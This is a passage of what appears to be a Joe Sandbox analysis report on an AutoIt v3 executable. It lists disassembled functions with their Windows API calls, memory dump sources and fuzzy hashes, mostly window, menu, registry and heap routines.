Instruction Fuzzy Hash: AAE03922618A9183D720CB06F44035AE370FB8ABD8F644525EF8C47B1ECF7DC9518B80

Function 00007FF6B5B23EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF6B5B23ED8

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: a311944d134f8b1026be888a77bd38f52149a13a1b1776c5e27fe03c17678b57
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: F3E09222B0874281DB619729E1543E8A3A1BB8CBC4F044031EF8C8375FCDACC9848A00

Function 00007FF6B5B25D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B25DDE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: 5ff85f7ddacdd4a62b8a3de482f7602f31d8eb46119557179be1bb4d79beb795
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: 29F0822291979587E3A2DB58E4453A576A5F785B08F840039D28D8639FCF3CD705CF00

Function 00007FF6B5B21080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B27920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B27A75

_onexit.LIBCMT ref: 00007FF6B5B44F10

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: 8abaf5181d48c4069bf168a524708af47fa767b178cba09ae678a1d4830a902b
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: 13E0C251F1A64BC1EE18B76DD8AA0F403A16F53F05F80553AC20CC235BEE6CD6A18704

Function 00007FF6B5B210E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B41D80: GetVersionExW.KERNEL32 ref: 00007FF6B5B41DC8
Part of subcall function 00007FF6B5B41D80: GetCurrentProcess.KERNEL32 ref: 00007FF6B5B41F42
Part of subcall function 00007FF6B5B41D80: IsWow64Process.KERNEL32 ref: 00007FF6B5B41F52

_onexit.LIBCMT ref: 00007FF6B5B44F10

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: a4b08f2615150be9fad07cf142e25f89ce40b6407235d0efa3477877e9c8e300
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: 9EC01200E6A48B80E62C73BE48B70F401904FA7B40F900136C31DC0287ED0C55F60A11

Function 00007FF6B5B21048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF6B5B44F10

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: 7dfe2c767d678e4bc57fe7e7bb2426dd25863b4333ec20522de3e1c83923a933
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: F9C01200E6A44B80E91C77BE48B70F401901FABB00F900535C20DC0297DD4C55F60B51

Function 00007FF6B5B21064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF6B5B44F10

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: 174bcaf6af0c8168552200115203fe22e7131e4d315d3901e42b3301b9b14672
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 27C01201E6A44B80E61C73BE4CB60F801900FE7B00F900235C20DC128BDD5C59F64A21

Function 00007FF6B5BA7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6B5BA7FBE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction ID: ed4faba592ceb9a305329946ac9c9d547fcbae70f8e0dee58c5634986ac7bed4
Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction Fuzzy Hash: E5714922B08A4286EB64EF69D4A13ED2760EB46F84F444132DF0D9779BCF79E945C350

Function 00007FF6B5B5DDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6B5B5DDFD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction ID: e1569c482281e97679e643801834b587157d685727ce9cb7f7e3f9c81e13ebe1
Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction Fuzzy Hash: A7F06284B0920785FE5D9769E4763F512919F56F40F4C4531CB0EC62DFDE2CEE458210

Function 00007FF6B5B5C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6B5B5C55A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: 9801654d78ac3669ace796a053747b7576b05db3677bcd34184e6da9e5815359
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: 6EF05E41B1924785FE289BB9B87A7F851925F46FA0F084230DB2EC92CBDE5CEC818710

Non-executed Functions

Function 00007FF6B5BB56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6B5BB570B
DeleteObject.GDI32 ref: 00007FF6B5BB5724
DestroyWindow.USER32 ref: 00007FF6B5BB5738
GetDesktopWindow.USER32 ref: 00007FF6B5BB5758
GetWindowRect.USER32 ref: 00007FF6B5BB5766
SetRect.USER32 ref: 00007FF6B5BB58A7
AdjustWindowRectEx.USER32 ref: 00007FF6B5BB58BA
CreateWindowExW.USER32 ref: 00007FF6B5BB5929
GetClientRect.USER32 ref: 00007FF6B5BB593E
CreateWindowExW.USER32 ref: 00007FF6B5BB59A9
CreateFileW.KERNEL32 ref: 00007FF6B5BB59E6
GetFileSize.KERNEL32 ref: 00007FF6B5BB59FE
GlobalAlloc.KERNEL32 ref: 00007FF6B5BB5A0C
GlobalLock.KERNEL32 ref: 00007FF6B5BB5A18
ReadFile.KERNEL32 ref: 00007FF6B5BB5A33
GlobalUnlock.KERNEL32 ref: 00007FF6B5BB5A3E
CloseHandle.KERNEL32 ref: 00007FF6B5BB5A47
GlobalFree.KERNEL32 ref: 00007FF6B5BB5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF6B5BB5A68
OleLoadPicture.OLEAUT32 ref: 00007FF6B5BB5A87
GlobalFree.KERNEL32 ref: 00007FF6B5BB5A9A
CopyImage.USER32 ref: 00007FF6B5BB5ACB
SendMessageW.USER32 ref: 00007FF6B5BB5AEE
SetWindowPos.USER32 ref: 00007FF6B5BB5B2A
ShowWindow.USER32 ref: 00007FF6B5BB5DDD

Strings

, xrefs: 00007FF6B5BB5B17
AutoIt v3, xrefs: 00007FF6B5BB5917
static, xrefs: 00007FF6B5BB5969, 00007FF6B5BB5B56
DISPLAY, xrefs: 00007FF6B5BB5BA1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: df83c79b73ad8c2427c5f972eafd2076a04fc0d5f916e6f319fd93f82cc4821f
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: CD22A336A08A4186E710DF29E8A49AD77A1FB89F94F504135DF4E87BA9DF3CD845CB00

Function 00007FF6B5BD17C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

GetWindowLongW.USER32 ref: 00007FF6B5BD189B
SendMessageW.USER32 ref: 00007FF6B5BD18C9
SendMessageW.USER32 ref: 00007FF6B5BD18F4
GetKeyState.USER32 ref: 00007FF6B5BD19A7
GetKeyState.USER32 ref: 00007FF6B5BD19BB
SendMessageW.USER32 ref: 00007FF6B5BD19D8
GetKeyState.USER32 ref: 00007FF6B5BD19E6
SendMessageW.USER32 ref: 00007FF6B5BD1A16
SendMessageW.USER32 ref: 00007FF6B5BD1A9C
SendMessageW.USER32 ref: 00007FF6B5BD1AC7
GetCursorPos.USER32 ref: 00007FF6B5BD1B66
ScreenToClient.USER32 ref: 00007FF6B5BD1B74
SendMessageW.USER32 ref: 00007FF6B5BD1BD7
SendMessageW.USER32 ref: 00007FF6B5BD1BFF
SendMessageW.USER32 ref: 00007FF6B5BD1C32
SendMessageW.USER32 ref: 00007FF6B5BD1C64
SendMessageW.USER32 ref: 00007FF6B5BD1C86
SendMessageW.USER32 ref: 00007FF6B5BD1C9C
GetCursorPos.USER32 ref: 00007FF6B5BD1CC4
ScreenToClient.USER32 ref: 00007FF6B5BD1CD2
GetParent.USER32 ref: 00007FF6B5BD1CF1
SendMessageW.USER32 ref: 00007FF6B5BD1D54
SendMessageW.USER32 ref: 00007FF6B5BD1D7E
ClientToScreen.USER32 ref: 00007FF6B5BD1DD1
TrackPopupMenuEx.USER32 ref: 00007FF6B5BD1E0E
SendMessageW.USER32 ref: 00007FF6B5BD1E33
SendMessageW.USER32 ref: 00007FF6B5BD1E5A
ClientToScreen.USER32 ref: 00007FF6B5BD1E9F
TrackPopupMenuEx.USER32 ref: 00007FF6B5BD1EDF
GetWindowLongW.USER32 ref: 00007FF6B5BD1F70
DefDlgProcW.USER32 ref: 00007FF6B5BD2197

Strings

@GUI_DRAGID, xrefs: 00007FF6B5BD210C
F, xrefs: 00007FF6B5BD1E60

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
String ID: @GUI_DRAGID$F
API String ID: 1993697042-4164748364
Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
Instruction ID: a9b8a080602026895dc080d6f0957524521ea659844ebf8424c6ae5b80fa59f9
Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
Instruction Fuzzy Hash: A9528036A48A4696EB548F69D4A4AFD7761FB86F84F104135DB0D83AEACF3CE850C700

Function 00007FF6B5BCCE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 00007FF6B5BCCF8D
LoadImageW.USER32 ref: 00007FF6B5BCCFAE
SendMessageW.USER32 ref: 00007FF6B5BCCFCE
DeleteObject.GDI32 ref: 00007FF6B5BCCFE0
DestroyIcon.USER32 ref: 00007FF6B5BCCFF2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
String ID:
API String ID: 3481653762-0
Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction ID: d1f4e0022325016d99e9aff603005bc4abee045baabc26aea43b338456af6772
Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction Fuzzy Hash: 25327E3AA08A818AF750DF29D464AE977A1FB86F84F504135DB4E87B99CF3CE945C700

Function 00007FF6B5BCBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BCBAE3
SendMessageW.USER32 ref: 00007FF6B5BCBB33
IsMenu.USER32 ref: 00007FF6B5BCBB4E
GetMenuItemInfoW.USER32 ref: 00007FF6B5BCBB94
SendMessageW.USER32 ref: 00007FF6B5BCBC27
SendMessageW.USER32 ref: 00007FF6B5BCBC4E
SendMessageW.USER32 ref: 00007FF6B5BCBC67
SendMessageW.USER32 ref: 00007FF6B5BCBC82
SendMessageW.USER32 ref: 00007FF6B5BCBCA6
SendMessageW.USER32 ref: 00007FF6B5BCBCD4
SendMessageW.USER32 ref: 00007FF6B5BCBCF0
SendMessageW.USER32 ref: 00007FF6B5BCBD14
GetWindowLongW.USER32 ref: 00007FF6B5BCBD4F
SendMessageW.USER32 ref: 00007FF6B5BCBD9C
SendMessageW.USER32 ref: 00007FF6B5BCBDC0
SendMessageW.USER32 ref: 00007FF6B5BCBE5A
wsprintfW.USER32 ref: 00007FF6B5BCBE91
SendMessageW.USER32 ref: 00007FF6B5BCBEAE
GetWindowTextW.USER32 ref: 00007FF6B5BCBEE3
SendMessageW.USER32 ref: 00007FF6B5BCBF05
SendMessageW.USER32 ref: 00007FF6B5BCBF2E
GetWindowTextW.USER32 ref: 00007FF6B5BCBF5B
GetWindowLongW.USER32 ref: 00007FF6B5BCBFF2
SendMessageW.USER32 ref: 00007FF6B5BCC026
SendMessageW.USER32 ref: 00007FF6B5BCC067
SendMessageW.USER32 ref: 00007FF6B5BCC0D0
CharNextW.USER32 ref: 00007FF6B5BCC10B
SendMessageW.USER32 ref: 00007FF6B5BCC152
SendMessageW.USER32 ref: 00007FF6B5BCC189

Strings

%d/%02d/%02d, xrefs: 00007FF6B5BCBE76

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction ID: 0b93db90f5cb79961728a42b7ae0ff73244265b721a9a73c0b1af0af821f0175
Opcode Fuzzy Hash: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction Fuzzy Hash: 2012D132B0965286FB648B299864AFD27A0FF86F94F504135DB1D87BDACF3CD8428704

Function 00007FF6B5BCDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6B5BCDBEA
SendMessageW.USER32 ref: 00007FF6B5BCDC8E
SendMessageW.USER32 ref: 00007FF6B5BCDCAD
SendMessageW.USER32 ref: 00007FF6B5BCDCE6
GetMenuItemInfoW.USER32 ref: 00007FF6B5BCDD10
SetMenuItemInfoW.USER32 ref: 00007FF6B5BCDD70
SetMenuDefaultItem.USER32 ref: 00007FF6B5BCDD86
GetMenuItemInfoW.USER32 ref: 00007FF6B5BCDD96
SetMenuDefaultItem.USER32 ref: 00007FF6B5BCDDB4
DrawMenuBar.USER32 ref: 00007FF6B5BCDDBE
SendMessageW.USER32 ref: 00007FF6B5BCDE57
SendMessageW.USER32 ref: 00007FF6B5BCDE92
GetWindowLongW.USER32 ref: 00007FF6B5BCDEBD
SendMessageW.USER32 ref: 00007FF6B5BCDEFC
SendMessageW.USER32 ref: 00007FF6B5BCDF3F
EnableWindow.USER32 ref: 00007FF6B5BCDFA7
EnableWindow.USER32 ref: 00007FF6B5BCDFBD
ShowWindow.USER32 ref: 00007FF6B5BCE03E
ShowWindow.USER32 ref: 00007FF6B5BCE051
EnableWindow.USER32 ref: 00007FF6B5BCE06B
SendMessageW.USER32 ref: 00007FF6B5BCE0A0
SendMessageW.USER32 ref: 00007FF6B5BCE0C4
GetFocus.USER32 ref: 00007FF6B5BCE0CA
MoveWindow.USER32 ref: 00007FF6B5BCE18A
SendMessageW.USER32 ref: 00007FF6B5BCE19F
GetWindowRect.USER32 ref: 00007FF6B5BCE1BE
MoveWindow.USER32 ref: 00007FF6B5BCE1F1
MoveWindow.USER32 ref: 00007FF6B5BCE21F

Strings

P, xrefs: 00007FF6B5BCDCFD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: 6bd1a82eece02a7fe64bd9649c607588a12c9916d717cff528dea2b1cabe414f
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: D312D476A0868286F7248B29D465BF927A0FB87B94F104535DB4D87ADACF3CEC51CB04

Function 00007FF6B5BB32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6B5BB51B9
SystemParametersInfoW.USER32 ref: 00007FF6B5BB5312
SetRect.USER32 ref: 00007FF6B5BB5358
AdjustWindowRectEx.USER32 ref: 00007FF6B5BB536B
